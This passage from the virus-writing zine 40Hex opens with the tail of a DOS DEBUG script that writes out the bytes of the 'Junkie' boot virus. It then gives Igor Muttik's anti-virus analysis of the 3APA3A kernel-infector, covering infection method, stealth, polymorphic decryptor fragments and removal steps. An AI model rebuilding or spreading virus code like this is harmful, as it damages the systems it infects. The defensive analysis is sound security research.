E 0440 E0 B0 10 2A C4 25 0F 00 8B D0 B0 01 EB 05 90 B0
|
||
E 0450 02 33 D2 33 C9 B4 42 CD 21 C3 00 00 00 00 00 00
|
||
E 0460 01 00 44 72 20 57 68 69 74 65 20 2D 20 53 77 65
|
||
E 0470 64 65 6E 20 31 39 39 34 00 00 00 00 00 00 00 00
|
||
E 0480 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
E 0490 00 00 00 00 00 00 00 00 00 00 EB 5E 33 FF BE 00
|
||
E 04A0 7C FA 8B E6 8E D7 FB 8E C7 B8 02 02 BB 00 7E B9
|
||
E 04B0 04 00 BA 80 00 56 53 CD 13 E9 80 01 4A 75 6E 6B
|
||
E 04C0 69 65 20 56 69 72 75 73 20 2D 20 57 72 69 74 74
|
||
E 04D0 65 6E 20 69 6E 20 4D 61 6C 6D 6F 2E 2E 2E 4D 30
|
||
E 04E0 31 44 FF FF 00 00 00 00 00 00 00 00 00 00 00 00
|
||
E 04F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
E 0500 00 00 00
|
||
R CX
|
||
0403
|
||
W
|
||
Q
|
||
---------------------------
|
||
|
||
40Hex Number 14 Volume 5 Issue 1 File 007
|
||
|
||
Virus Spotlight: 3APA3A (ZARAZA)
|
||
|
||
This is a new virus which has come out of Russia. It has received a lot of
|
||
publicity in the virus and anti-virus communities due to the unusual manner
|
||
in which it infects. The following article, written by Igor G. Muttik, is a
|
||
good description of the virus. A disassembly of the virus follows this text.
|
||
|
||
Dark Angel
|
||
Phalcon/Skism '95
|
||
---------------------------------
|
||
3APA3A virus -- the first kernel infector.
|
||
==========================================
|
||
|
||
Igor G. Muttik
|
||
|
||
Low Temperature Physics Laboratory,
|
||
Physics Department,
|
||
Moscow State University, 117234, Russia
|
||
|
||
Phones: +7 095 9391147
|
||
+7 095 3396238
|
||
Email: MIG@lt.phys.msu.su
|
||
|
||
|
||
KEYWORDS
|
||
--------
|
||
|
||
Virus, kernel, boot virus, resident, boot sector, kernel infector.
|
||
|
||
|
||
ABSTRACT
|
||
--------
|
||
|
||
A new virus, which was found in Moscow in the wild is described. It
|
||
infects floppy disks as a normal boot virus. As against to normal boot
|
||
viruses, it infects DOS kernel file (IO.SYS or IBMBIO.COM, etc.) on the
|
||
hard disk. Thus, this virus can be regarded as a representative of a new
|
||
virus type - "kernel infectors". Description of the virus internals is
|
||
given. The virus structure, properties and behavior are discussed.
|
||
Details on the polymorphicity of 3APA3A are presented. Given partial
|
||
dumps may help to detect and cure the virus, but cannot be used to
|
||
reconstruct it.
|
||
|
||
|
||
|
||
INTRODUCTION
|
||
------------
|
||
|
||
This new virus appeared in Moscow (Russia). It was found in the
|
||
wild in Moscow 12-14 October 1994. The virus was named "3APA3A" (in
|
||
Russian it stands for some slang form of "INFECTION"). The message with
|
||
this string is stored (encrypted) in the body of the virus.
|
||
|
||
Size of the virus is 1024 bytes (exactly two sectors on the floppy
|
||
disk or on the hard drive). The virus is multipartite: it infects boot
|
||
sectors on the floppy disks and DOS core file (IO.SYS for MS-DOS;
|
||
IBMBIO.COM for PC-DOS; etc.). Infection of the floppies is alike many
|
||
known boot-sector viruses, but the algorithm of the hard drive infection
|
||
is unique. Therefore, the virus belongs to a new virus class, which was
|
||
named "kernel infectors". The virus does not analyze the name of DOS
|
||
core file and I shall use IO.SYS name below for simplicity (it may also
|
||
be IBMBIO.COM or any other). Once the hard drive has been infected, the
|
||
virus activates every time the computer is turned on.
|
||
|
||
On the floppy disk, the first half of the virus is stored in the
|
||
boot sector. Original floppy boot sector and the second half of the
|
||
virus are stored at the very end of the root directory of the diskette.
|
||
Thus, when infecting the floppy disk, the virus overwrites two last
|
||
sectors in its root directory.
|
||
|
||
On the hard drive the virus is at the very beginning of the DOS
|
||
core file (IO.SYS. IBMBIO.COM, etc.) -- it takes 1k.
|
||
|
||
|
||
|
||
INFECTION STRATEGY
|
||
------------------
|
||
|
||
After boot from the infected floppy disk, the virus tries to infect
|
||
the first file in the root directory of the first DOS partition (usually
|
||
it is IO.SYS file). Map of memory usage (at the moment of HDD infection)
|
||
is given in Fig.1. The virus uses segment 7C00 (not 7C0!) for its own
|
||
buffer (3.5k+sizeof(IO.SYS)). This segment value -- 7C00 corresponds to
|
||
(512k-16k). Computer memory size equal to 512k will be usually
|
||
insufficient for normal virus operation, because size of the core file
|
||
(IO.SYS/IBMBIO.COM) exceeds 16k in most modern DOS versions. Sizes of
|
||
the system files for some DOS versions are given in Fig.2. Therefore,
|
||
the virus is hardly viable on the computers without 640k.
|
||
|
||
3APA3A virus assumes that the active DOS partition has a boot
|
||
sector at CX=0001, DX=0180 (INT_13 notation: i.e., 1st HDD, head=1,
|
||
sector=1). It tries to infect only this first partition. If active boot
|
||
sector is anywhere else - 3APA3A will fail to infect hard disk properly.
|
||
The virus does not even read MBR to investigate disk partitioning.
|
||
|
||
The virus can only infect the hard drive, if the first DOS
|
||
partition is bigger than 10.6MB (i.e., if it uses 16-bit FAT; the virus
|
||
cannot infect other FAT types). That was probably done for simplicity,
|
||
because it will be more difficult to handle 12-bit FATs (or even both
|
||
FAT types). The author of the 3APA3A virus, probably, decided to make
|
||
the virus shorter. Fortunately (for him), 16-bit FATs are much more
|
||
frequent now than 12-bit and much easier to handle. Actually, the virus
|
||
checks whether total number of sectors in media (i.e., in the first
|
||
partition) is greater than 5103h or zero. Corresponding fragment of code
|
||
is given in Fig.3. The comparison with zero is really needed, because
|
||
all partitions, which have more than 65535 sectors (>32MB) carry zero in
|
||
this field (and always uses 16-bit FATs).
|
||
|
||
3APA3A virus does not check neither attributes of the first
|
||
directory entry, nor its name -- it will even "infect" a subdirectory
|
||
entry if it is located at the very first position in the root directory
|
||
of the hard disk (that is possible under DOS 5.0 or higher). When
|
||
infecting this first entry, the virus duplicates it (i.e., copies IO.SYS
|
||
file cluster chain, duplicates its directory entry and updates the FATs)
|
||
and then infects the original IO.SYS file. It also marks this duplicated
|
||
directory entry with a volume-label bit. This bit serves as an infection
|
||
marker (if it is set, 3APA3A virus decides that the hard drive is
|
||
already infected). This bit (when set) simultaneously preserves the
|
||
infected IO.SYS file from DOS file access -- all DOS file-oriented
|
||
functions AH=3Dh, 3Eh, 3Fh, 40h will skip this entry. Moreover, this
|
||
infected file will be not mentioned in the directory listing, because of
|
||
this bit. That looks like a smart non-resident type of stealth virus.
|
||
|
||
The virus reads only 5 sectors of the root directory of the first
|
||
DOS partition (others are ignored). 3APA3A virus makes a root directory
|
||
modification using two shifts (see Fig.4). The first copies entries #3-
|
||
#79 to the location of #4-#80. The second copies #1 (IO.SYS) to #3. The
|
||
first shift erases one directory entry (#80, the very last on the 5th
|
||
directory sector) and it is unrecoverably lost. If this entry was a
|
||
subdirectory -- all files in it will become inaccessible. Two shifts are
|
||
needed to guarantee that the first two entries are still IO.SYS and
|
||
MSDOS.SYS. That is done by the virus to achieve maximum compatibility
|
||
-- some old versions of DOS (prior to DOS 5.0) require IO.SYS and
|
||
MSDOS.SYS at the very beginning of the root directory and the virus
|
||
tries to follow this rule.
|
||
|
||
After directory modification we have two IO.SYS entries in the root
|
||
directory, but the first is not shown in the directory listing, because
|
||
this entry has volume-label bit set. Both mentioned directory entries
|
||
point on two copies of IO.SYS. The first IO.SYS (infected) is located in
|
||
its old place and it differs from the original in only first 1024 bytes
|
||
(now, after infection, it is a virus itself). The second IO.SYS
|
||
directory entry points on a clone of the original IO.SYS file
|
||
(uninfected), which was copied by the virus to the very end of the first
|
||
DOS partition. When copying original IO.SYS cluster-by-cluster to the
|
||
partition end, the virus checks whether there is free place on disk (it
|
||
reads last sector of FAT). Scanning this last FAT sector (it represents
|
||
256 clusters), the virus accurately skips used clusters. If there is no
|
||
more free clusters (among these 256) -- the virus will stop the entire
|
||
infection process. But if there is a place for IO.SYS copy -- it will be
|
||
created. This second IO.SYS copy at the disk end serves for two purposes
|
||
-- as a source of the original IO.SYS start (1k) and as a decoy for
|
||
scanners and integrity checkers (they will probably prefer to
|
||
scan/analyse this non-volume-labeled file).
|
||
|
||
When computer is turned on, DOS boot sector (which was not modified
|
||
by the virus in any way, as well as a master boot record MBR) runs.
|
||
There is no DOS file system yet and the program in the boot sector
|
||
"simply" reads the root directory of the hard disk and finds the first
|
||
IO.SYS entry. This entry points on the infected IO.SYS file.
|
||
Unfortunately, DOS boot record program ignores volume-label bit, unlike
|
||
DOS file system. Thus, the infected copy of the DOS core file IO.SYS is
|
||
started by DOS boot sector at each computer reboot.
|
||
|
||
When the virus gains control, it saves itself in the computer
|
||
memory (like a normal boot-sector virus) -- decreases the memory
|
||
available to DOS on 2 kilobytes (it changes the word at address
|
||
[0:413]). A reduction in DOS memory is a usual sign of presence of a
|
||
boot virus. The location of the virus in computer memory is easily
|
||
calculated. For example, for a normal 640k computer, code segment of the
|
||
virus will be 9F80. The virus intercepts only disk i/o interrupt
|
||
(INT_13). Now all accesses to the floppy disks result in their
|
||
infection. The virus infects floppy disks both in A: and B: drives.
|
||
Finally, it passes the control to the original IO.SYS.
|
||
|
||
|
||
|
||
INTERNAL VIRUS STRUCTURE
|
||
------------------------
|
||
|
||
The virus consists of two parts (sectors, 512 bytes each). These
|
||
two parts are pretty independent! The first (which is stored in the
|
||
floppy boot sector) is responsible for infection of the hard drive (it
|
||
checks for virus presence on the hard drive, copies IO.SYS to the
|
||
partition end, modifies root directory, updates all FATs, makes new
|
||
IO.SYS with the virus code (1k) at the very start, makes IO.SYS
|
||
directory entry with a volume-label bit set, and calls original floppy
|
||
boot sector. At the very end this part stores the location of the
|
||
infected IO.SYS for future use of the second virus part. The second
|
||
virus sector (IO_sector) contains trigger routine, message payload,
|
||
resident installer and INT_13 handler with "polymorphic" encryption
|
||
routine.
|
||
|
||
The first virus sector is in a boot sector of the contaminated
|
||
diskette, the second virus sector -- in the last sector of root
|
||
directory. On the hard disk this sequence is opposite -- infected IO.SYS
|
||
is started with mentioned second virus sector (IO_sector), which is
|
||
followed by a boot sector.
|
||
|
||
Therefore, first virus sector contains a program to infect hard
|
||
drive and IO_sector is simply placed into IO.SYS and not executed in any
|
||
part. The IO_sector contains a program to infect floppy disks and it
|
||
simply places infected boot sector (after appropriate encryption) on the
|
||
floppy disk.
|
||
|
||
Two virus parts (boot sector and IO_sector) work at different time
|
||
(first -- only at boot from the infected floppy, second -- only at boot
|
||
from the hard drive) and virus boot sector only once passes a parameter
|
||
(DX:AX) to the IO_sector. Only one procedure is shared by both virus
|
||
parts -- which converts sector# in DX:AX into CX=sec/cyl, DH=head (and
|
||
the virus has to patch offset in E8 call to this procedure, because it
|
||
is located at different offset now, not in 0000:7C00, as at boot time;
|
||
this procedure is at 7DD3 and/or at 3D3).
|
||
|
||
Unlike many other boot sector viruses, 3APA3A encrypts its code (in
|
||
a floppy boot sector). Moreover, 3APA3A virus is slightly polymorphic,
|
||
which is even more unusual -- decryptor of the infected boot sector is
|
||
variable. By the way, only very few boot-sector viruses have
|
||
polymorphic properties. The dump of the virus decryption routine is
|
||
given in Fig.5. The order of instruction is fixed. Random value (word)
|
||
is taken from BIOS timer counter [0:46C]. There are 8 types of
|
||
encryption routine (4 use DI register, 4 use SI). Probability of SI
|
||
usage is 3 times higher, than usage of DI. One can see that the offset
|
||
of decryptor's terminating jump is encrypted with 25% probability (byte
|
||
at 7C2B, which is an offset of a conditional jump, is encrypted with the
|
||
mentioned probability). Thus, the virus decryptor will hang with a 25%
|
||
probability on 386 and 486 processors. Lower processors (8088-80286)
|
||
have a small queue (8088,80188,V20=4; 8086,80186,V30=6; 80286=8) and it
|
||
is not sufficient to store whole decryption cycle and cause a hang.
|
||
Pentium is free of this problem, because it can detect the access to the
|
||
pre-fetched bytes and flash the queue. On 80386-80486 processors the
|
||
virus will hang with 25% probability when booting from floppy disk if
|
||
the JNZ offset was encrypted -- data in memory and in processor queue
|
||
will become different during decryption, processor will go into garbage
|
||
codes and hang.
|
||
|
||
Because of the encryption, only string like 'MSDOS 5.0' is visible
|
||
at the beginning of the boot sector (this string is a reminiscence of an
|
||
original boot sector of a floppy disk). Obviously, 55AA marker is
|
||
present at the very end of the boot-sector. Second virus part
|
||
(IO_sector), which is placed at the very last sector of the root
|
||
directory of the floppy disk, is not encrypted at all. Its location is
|
||
stored inside the code of the first virus sector at the moment of floppy
|
||
infection.
|
||
|
||
Two bytes in the boot sector are used as an infection marker --
|
||
byte at offset 18h must be zero and byte at 21h must be 2Eh (first is
|
||
byte from BPB, second -- constant byte in the decryption routine,
|
||
CS: prefix). Prior to the infection of floppy disk the virus performs
|
||
checks whether this marker is already present. If this is the case --
|
||
the virus decides that floppy disk is already infected.
|
||
|
||
If, occasionally, you will place too many files in the root
|
||
directory of the floppy and the directory entries will overwrite the
|
||
second virus sector (IO_sector) -- this floppy disk will become a
|
||
carrier of a damaged virus. If now any hard drive will be infected with
|
||
this floppy, it will become unbootable (start of IO.SYS file will carry
|
||
the directory entries from the floppy directory, instead of the virus
|
||
body).
|
||
|
||
The structure of the second virus sector (IO_sector) is shown in
|
||
Fig.6. DOS boot sector loads this code (as a part of normal IO.SYS) to
|
||
computer memory. After virus code (first 1k in IO.SYS) follows normal
|
||
IO.SYS image. The virus moves its own code (this 1k) to CS=9F80 (for a
|
||
normal 640k PC) and replaces it with an original IO.SYS start. Original
|
||
IO.SYS start is read from hard disk and its position was stored inside
|
||
the virus body at the moment of hard drive infection. Final RETF
|
||
transfers control to the original IO.SYS image, which was "assembled" in
|
||
memory by 3APA3A virus.
|
||
|
||
Memory map usage of 3APA3A virus, when it is resident in the
|
||
computer memory, is given in Fig.7. When the virus analyses an access to
|
||
the floppy drive, sitting on the INT_13, it does not perform full check
|
||
whether boot sector is accessed (usually AH=02, CX=0001, DH=0), but it
|
||
calculates the sum DH+CL+CH and decides that boot sector is accessed if
|
||
it is equal to 1. That is not very compatible approach (because AH is
|
||
ignored at all) and I have found one program, which confused 3APA3A
|
||
and virus even tried to access empty A: and B: drives. This program is
|
||
PU_1700.COM -- a resident BIOS extension to format/access floppies of
|
||
1.44MB size in a 5.25" high-density floppy drives. When PU_1700 is
|
||
loaded with the virus active in memory, both floppy drives turn on their
|
||
LEDs.
|
||
|
||
Unusual method is used by the virus to access original INT_13
|
||
routine from inside of virus INT_13 handler. The virus patches its own
|
||
program (Fig.8) -- places JMP instruction near the beginning of its own
|
||
handler, i.e., it "closes the window leaf". Now the virus makes an
|
||
INT_13 call (it is, obviously, reentrant call). Upon return from this
|
||
call the "window leaf" is opened back (JMP is replaced with JNZ).
|
||
|
||
The virus carries the following message -- "B BOOT CEKTOPE -
|
||
3APA3A!" This string is in Russian, and translation is -- "IN BOOT
|
||
SECTOR - INFECTION!". Besides its usual use as "infection/contagion",
|
||
"3APA3A" in Russian designates something particularly boring and
|
||
annoying.
|
||
|
||
This string is encrypted (it is located at offset 9A in the
|
||
IO_sector of the virus, its length is 1A bytes) and it is not visible
|
||
even in memory. It will be printed in August on each reboot from the
|
||
hard drive (the virus calls INT_1A/AH=04 and checks if DH=08).
|
||
Obviously, the virus will never print the message on XT computers,
|
||
because they do not support INT_1A/AH=04 (have no AT-CMOS clock). If the
|
||
message is not printed, the virus does not advertise its presence at
|
||
all. It is, therefore, quite difficult to spot.
|
||
|
||
Method of the encryption of this string is somewhat unusual (see
|
||
Fig. 9). It looks like a "delta"-coding, because the current byte in the
|
||
series, when being added to the previous character code, gives the next
|
||
one. The virus message terminates with ASCII codes "07", "0D", "10" (see
|
||
Fig.9). First is a beep, second is a carriage return symbol (CR), but
|
||
the last is probably cased by a mistype of the virus author. He probably
|
||
wanted to type CR, LF (normal string terminator), but used hexadecimal
|
||
10, instead of decimal (i.e., 10h instead of 0Ah).
|
||
|
||
The virus message is written in Russian, but is composed only of
|
||
the pure English ASCII symbols. The reason is simple -- message is
|
||
printed at boot time, when software Cyrillic character generator is not
|
||
yet loaded, so it is not possible to use Cyrillic letters. The only
|
||
way -- to compose message from normal ASCII letters and digits (digit
|
||
"3" represents Russian letter, which sounds like "Z").
|
||
|
||
Correct spelling of the virus name -- "3APA3A" in Russian is
|
||
"ZARAZA". Here all "Z" sound like in "zero" and all "A" sound like "u"
|
||
in "cut".
|
||
|
||
3APA3A virus carries no special destructive payload.
|
||
|
||
|
||
|
||
3APA3A: TREATMENT AND RUMORS
|
||
----------------------------
|
||
|
||
After infection of the hard disk the first root directory entry is
|
||
always marked with a volume label bit. Therefore, old disk volume label
|
||
will be not shown and the infected hard disk will usually carry label
|
||
"IO SYS" (or "IBMBIO COM" for PC-DOS, etc.). It will be reported
|
||
by DIR and LABEL command. The most noticeable effect of virus presence
|
||
is an unusual disk label.
|
||
|
||
This new "label" is uneraseable and unchangeable even with a LABEL
|
||
command. Probably DOS is confused with a strange volume label, which has
|
||
a non-zero length and it refuses to change it. Unfortunately, DOS even
|
||
does not report that he fails to change (delete) the disk label -- no
|
||
error or warning message is given.
|
||
|
||
First attempt of an inexperienced user to remove the virus may be
|
||
the usage of undocumented FDISK /MBR call, which reinitializes the MBR
|
||
program, leaving partition table intact. Obviously, this approach not
|
||
works, because the virus is not stored in the MBR. Reinitialization of
|
||
DOS boot sector will not help too. That is because copy of the virus
|
||
code is neither in MBR, nor in DOS boot sector, but in IO.SYS file.
|
||
|
||
The most reasonable operation is to try to get rid of the 3APA3A
|
||
virus using SYS C: command. Unfortunately it does not work too! And even
|
||
after booting from the clean diskette! The reason is obvious -- SYS C:
|
||
will modify/remove the second copy of the IO.SYS file (uninfected
|
||
copy!), which is located at the very end of the first DOS partition. The
|
||
infected copy of IO.SYS will not be rewritten, because volume-label bit
|
||
preserved it from being recognized by SYS program as a DOS core file.
|
||
|
||
CHKDSK (in MS-DOS) will always report errors on the infected hard
|
||
disk, because it will be alarmed with a FAT chain, attached to the
|
||
volume-labeled file. Note, that MS-DOS and DR-DOS behaves differently
|
||
with "volume-labeled" files.
|
||
|
||
Norton Disk Doctor (I tested NDD from Norton Utilities 6.0) gives
|
||
no warnings on the contaminated hard disk.
|
||
|
||
Note that many disk optimizers (like Norton SpeedDisk) prefer to
|
||
place the subdirectories in the very beginning of the root directory
|
||
(it is possible only in later versions of DOS, probably starting at
|
||
5.00). The virus does not check if IO.SYS is really the first entry in
|
||
the root directory (only checks volume bit!), so it can easily take the
|
||
first directory in the root and regard it as an infectable DOS core
|
||
file! Such an attempt to "infect" the hard drive will fail -- the virus
|
||
will perform all its actions, but original IO.SYS will be intact.
|
||
Presence of duplicated subdirectory (if it was the 1st entry) will not
|
||
affect normal operation of the computer, because this duplicated
|
||
subdirectory with volume-label bit will be ignored by DOS. And original
|
||
IO.SYS (placed by SpeedDisk somewhere else in the root directory) will
|
||
be uninfected. Only CHKDSK will report disk errors.
|
||
|
||
The simple sequence of actions to remove the virus from hard drive
|
||
is the following:
|
||
|
||
1. Delete IO.SYS file (original uninfected copy). You may need to
|
||
remove Hidden/System/Read-Only attributes to do that (for example use
|
||
Norton Commander).
|
||
|
||
2. Remove "Vol" attribute from the infected IO.SYS in the root (you
|
||
can use Norton DiskEdit to do this; infected volume-labeled IO.SYS is
|
||
the 1st directory entry).
|
||
|
||
3. Delete IO.SYS file (infected copy). You may need to remove
|
||
Hidden/System/Read-Only attributes to do that (for example use NC).
|
||
|
||
4. Run CHKDSK /F and inspect/remove FILE00xx.CHK if any (some disk
|
||
errors may have been appeared on the hard disk because of the lost #80
|
||
dir entry).
|
||
|
||
5. Run SYS C: from the system floppy disk to restore IO.SYS.
|
||
|
||
Note: Actions 1)-3) can be done with Norton DiskEdit.
|
||
|
||
The virus is very virulent, but we hope that the infection will be
|
||
local, because anti-3APA3A measures were undertaken shortly. The users
|
||
were notified about the possible threat and anti-virus programs
|
||
appeared, which are capable to detect and remove 3APA3A from diskettes
|
||
and from the hard drive.
|
||
|
||
There is an unconfirmed information that currently available 3APA3A
|
||
virus is actually the second virus in the strain. According to the
|
||
information from Russian anti-virus circles, there was a previous
|
||
version, which was released in March 1994 and computers in some banks in
|
||
Moscow were contaminated. The author of 3APA3A virus wrote a couple of
|
||
Email messages, which were delivered through Fidonet without the
|
||
originating address and they had a signature "Gena". Last stands for the
|
||
male name. He insisted that there are at least two versions in the wild.
|
||
He claimed that he already created more "powerful" version(s), but they
|
||
are still in the "research phase" and not yet in the wild. He also wrote
|
||
that his viruses were caught with such a big delay, that he is fully
|
||
contented. There is also a rumor that the author of 3APA3A viruses was
|
||
forced to delete all his assembler texts by indignant PC users.
|
||
|
||
|
||
ACKNOWLEDGEMENTS
|
||
----------------
|
||
|
||
I am acknowledged to VForum members for the fruitful discussion of
|
||
3APA3A properties (especially to Anthony Naggs, Vesselin Bontchev and
|
||
Paul Ducklin). I am also acknowledged to Igor Daniloff (SALD, Saint-
|
||
Petersburg, Russia).
|
||
|
||
|
||
|
||
|
||
FIGURES
|
||
-------
|
||
|
||
Figure 1. Map of memory usage of 3APA3A virus, when the virus boot
|
||
sector is infecting the hard drive.
|
||
|
||
Address Size Function (buffer for)
|
||
-------------------------------------------------------
|
||
7C00:0000 200h Hard drive boot sector
|
||
7C00:0200 2 AX for INT_13 (0201h, 0301h, etc.)
|
||
7C00:0202 1 DH for INT_13 (usually 80h)
|
||
7C00:0203 200h FAT end
|
||
7C00:0403 A00h HDD Root directory, 5 sectors only!
|
||
7C00:0E03 200h FAT start
|
||
7C00:1003 2000h 1 cluster of original IO.SYS (*)
|
||
7C00:3003 2000h 2 cluster
|
||
7C00:5003 2000h 3 cluster
|
||
7C00:7003 2000h 4 cluster
|
||
7C00:9003 2000h 5 cluster
|
||
7C00:B003 2000h 6 cluster
|
||
... ... ...
|
||
7C00:xx03 2000h last IO.SYS cluster
|
||
-------------------------------------------------------
|
||
(*) Cluster size was taken 8192 bytes (16 sectors) only for example.
|
||
It may be different according to sectors/cluster ratio.
|
||
|
||
|
||
|
||
Figure 2. Sizes of DOS system files for different versions (in bytes).
|
||
-------------------------------------------------------------
|
||
DOS version DOS type IO/IBMBIO MSDOS/IBMDOS COMMAND.COM
|
||
--------------------------------------------------------------
|
||
1.00 PC 2047 6400 4959
|
||
2.00 PC 4907 17411 18160
|
||
3.00 PC 8964 27920 22042
|
||
3.30 MS 22357 30128 25276
|
||
4.00 PC 32810 35984 37637
|
||
4.01 MS 33337 37376 37557
|
||
5.00 MS 33430 37394 47845
|
||
6.20 MS 40566 38138 54500
|
||
--------------------------------------------------------------
|
||
|
||
|
||
|
||
Figure 3. Virus code fragment, which checks whether partition uses 16
|
||
bit FAT or not.
|
||
|
||
7C75 A11300 MOV AX,[0013] ;total sectors in media on HDD
|
||
7C78 48 DEC AX ;0000 -> FFFF (for big disks!)
|
||
7C79 3D0351 CMP AX,5103 ;16 bit FAT guaranteed!
|
||
7C7C 76B1 JBE 7C2F ;pass control to floppy boot
|
||
...
|
||
|
||
|
||
|
||
Figure 4. Modification of the root directory of first DOS partition by
|
||
3APA3A virus: a) initial layout, b) after first shift c) after copying
|
||
of IO.SYS entry to 3rd position.
|
||
|
||
------------- ------------- -------------
|
||
#1 IO.SYS IO.SYS IO.SYS -> infected IO.SYS
|
||
------------- ------------- -------------
|
||
#2 MSDOS.SYS MSDOS.SYS MSDOS.SYS
|
||
------------- ------------- -------------
|
||
#3 FILE0003.EXT FILE0003.EXT IO.SYS -> copy of IO.SYS
|
||
------------- ------------- -------------
|
||
#4 FILE0004.EXT FILE0003.EXT FILE0003.EXT
|
||
------------- ------------- -------------
|
||
...
|
||
------------- ------------- -------------
|
||
#79 FILE0079.EXT FILE0078.EXT FILE0078.EXT
|
||
------------- ------------- -------------
|
||
#80 FILE0080.EXT FILE0079.EXT FILE0079.EXT
|
||
------------- ------------- -------------
|
||
|
||
a) b) c)
|
||
|
||
|
||
|
||
Figure 5. The decryptor of virus floppy boot sector is polymorphic. A
|
||
caret "^" symbol designates variable bytes. Number in brackets
|
||
corresponds to a comment below.
|
||
|
||
7C1E BE2C7C MOV SI,7C2C ;starting address
|
||
^^^^ (1)
|
||
7C21 2E CS: ;infection marker! (1 byte of 2)
|
||
7C22 800470 ADD BYTE PTR [SI],70
|
||
^^^^^^ (2)
|
||
7C25 46 INC SI
|
||
^^ (3)
|
||
7C26 81FEFB7D CMP SI,7DFB ;upper limit ?
|
||
^^^^ (4)
|
||
7C2A 75F5 JNZ 7C21 ;<- JNZ offset may be encrypted
|
||
^^ (5)
|
||
7C2C ...
|
||
|
||
(1) These two bytes are variable and may be: 2BBE, 2CBE, 2DBE or 2EBF.
|
||
Makes: MOV SI, 7C2B; MOV SI, 7C2C; MOV SI, 7C2D; MOV DI, 7C2E.
|
||
Thus, start of encryption at address: 7C2B, 7C2C, 7C2D, 7C2E
|
||
(with equal probability).
|
||
|
||
(2) These three bytes are variable:
|
||
F61490 or F61590 NOT BYTE PTR [SI] ;or [DI] (3rd byte is 90h)
|
||
8004xx or 8005xx ADD BYTE PTR [SI],xx ;or [DI] (3rd byte xx=RND)
|
||
802Cxx or 802Dxx SUB BYTE PTR [SI],xx ;or [DI] (3rd byte xx=RND)
|
||
8034xx or 8035xx XOR BYTE PTR [SI],xx ;or [DI] (3rd byte xx=RND)
|
||
|
||
(3) This byte may be 46 (INC SI, 75% probability) or
|
||
47 (INC DI, 25% probability)
|
||
|
||
(4) These two bytes are variable: FAFE, FBFE, FCFE or FDFF.
|
||
Makes: CMP SI,7DFA; CMP SI,7DFB; CMP SI,7DFE; CMP DI,7DFD)
|
||
|
||
(5) This byte may be encrypted (probability=25%)! And the virus
|
||
will hang on 386, 486 because of processor queue pre-fetch.
|
||
|
||
|
||
|
||
Figure 6. Global structure of the virus IO_sector.
|
||
|
||
0000:7C00 PUSH CS ;places startCS on stack
|
||
CALL $+3
|
||
POP SI ;gets relative position in CS
|
||
SUB SI,4 ;sizeof(PUSH+CALL)
|
||
PUSH SI ;places it on stack
|
||
;(startCS:SI=0000:7C00 is on stack)
|
||
PUSH AX/BX/CX/DX/DS/ES
|
||
---------------------
|
||
| viral code |
|
||
---------------------
|
||
---------------------
|
||
| copy virus |
|
||
| code to |
|
||
| ES=9F80 |
|
||
---------------------
|
||
PUSH ES ;ES=9F80
|
||
MOV AX,006C
|
||
PUSH AX ;(9F80:006C is on stack now)
|
||
RETF ;same as JMP 9F80:006C
|
||
|
||
9F80:006C ---------------------
|
||
| read 2 sectors |
|
||
| from original |
|
||
| IO.SYS to |
|
||
| 0000:7C00 | ;read 1k to startCS:SI=0000:7C00
|
||
| ... |
|
||
---------------------
|
||
POP ES/DS/DX/CX/BX/AX
|
||
RETF ;same as JMP 0000:7C00
|
||
|
||
|
||
|
||
Figure 7. Map of memory usage of 3APA3A virus, when it is resident in
|
||
computer memory (CS=9F80 and the virus sets DS=ES=9FA0).
|
||
|
||
----------------------------------------------------------------------
|
||
Address (same as) Size Function
|
||
CS:offset DS:offset (bytes) (buffer for)
|
||
----------------------------------------------------------------------
|
||
9F80:0000 200h IO_sector
|
||
9F80:0200 9FA0:0000 200h Virus boot sector
|
||
(used for encryption)
|
||
9F80:0400 9FA0:0200 2 0201/0301 (AX for INT_13)
|
||
9F80:0402 9FA0:0202 1 0/1 (DL for INT_13)
|
||
9F80:041E 9FA0:021E 1E2h Virus boot sector code (orig. copy)
|
||
9F80:0600 9FA0:0400 200h Current floppy boot sector
|
||
----------------------------------------------------------------------
|
||
(*) Code segment CS=9F80 was taken for example. That is a location
|
||
of the virus for normal 640k computer (CS=A000-2k).
|
||
|
||
|
||
|
||
Figure 8. "Window leaf" in the interrupt 13h function of virus.
|
||
Leaf is "closed" at address 00BC and is opened at 00C4.
|
||
|
||
00B4 A10002 MOV AX,[0200] ;may be read and write
|
||
00B7 8A160202 MOV DL,[0202] ;drive # (0/80)
|
||
00BB 2E CS:
|
||
00BC C606E300EB MOV BYTE PTR [00E3],EB ;-> JMP ("close leaf")
|
||
00C1 CD13 INT 13
|
||
00C3 2E CS:
|
||
00C4 C606E30075 MOV BYTE PTR [00E3],75 ;-> JNZ ("open leaf")
|
||
00C9 7202 JB 00CD
|
||
00CB FC CLD
|
||
00CC C3 RET
|
||
...
|
||
; virus INT_13 handler (usually at 9F80:00D5)
|
||
00D5 50 PUSH AX
|
||
00D6 53 PUSH BX
|
||
00D7 51 PUSH CX
|
||
00D8 52 PUSH DX
|
||
00D9 56 PUSH SI
|
||
00DA 57 PUSH DI
|
||
00DB 1E PUSH DS
|
||
00DC 06 PUSH ES
|
||
00DD 55 PUSH BP
|
||
00DE 8BEC MOV BP,SP
|
||
00E0 F6C280 TEST DL,80 ;HDD (1st or 2nd)?
|
||
00E3 EBED JMP 00D2 ;<- see 00C4 & 00BC (set JNZ/JMP)
|
||
;here if not HDD
|
||
00E5 02F1 ADD DH,CL
|
||
00E7 02F5 ADD DH,CH
|
||
00E9 80FE01 CMP DH,01 ;DH=CH+CL+DH=1 if boot sector
|
||
00EC 77E4 JA 00D2 ;exit from handler
|
||
...
|
||
|
||
|
||
|
||
Figure 9. The virus code fragment, which prints the message
|
||
"B BOOT CEKTOPE - 3APA3A! <BELL> <0Dh> <10h>"
|
||
|
||
000F B404 MOV AH,04 ;get CMOS date
|
||
0011 CD1A INT 1A
|
||
0013 80FE08 CMP DH,08 ;August?
|
||
0016 7512 JNZ 002A
|
||
0018 8D9C9A00 LEA BX,[SI+009A] ;pointer on message
|
||
001C B8420E MOV AX,0E42 ;tty output, ASCII(42)='B'
|
||
001F B91A00 MOV CX,001A ;length
|
||
;
|
||
0022 CD10 INT 10
|
||
0024 2E CS:
|
||
0025 0207 ADD AL,[BX] ;sum all prev. chars in AL
|
||
0027 43 INC BX ;increase pointer
|
||
0028 E2F8 LOOP 0022
|
||
|
||
...
|
||
|
||
009A DE220D0005CC2302 ;this table stores values,
|
||
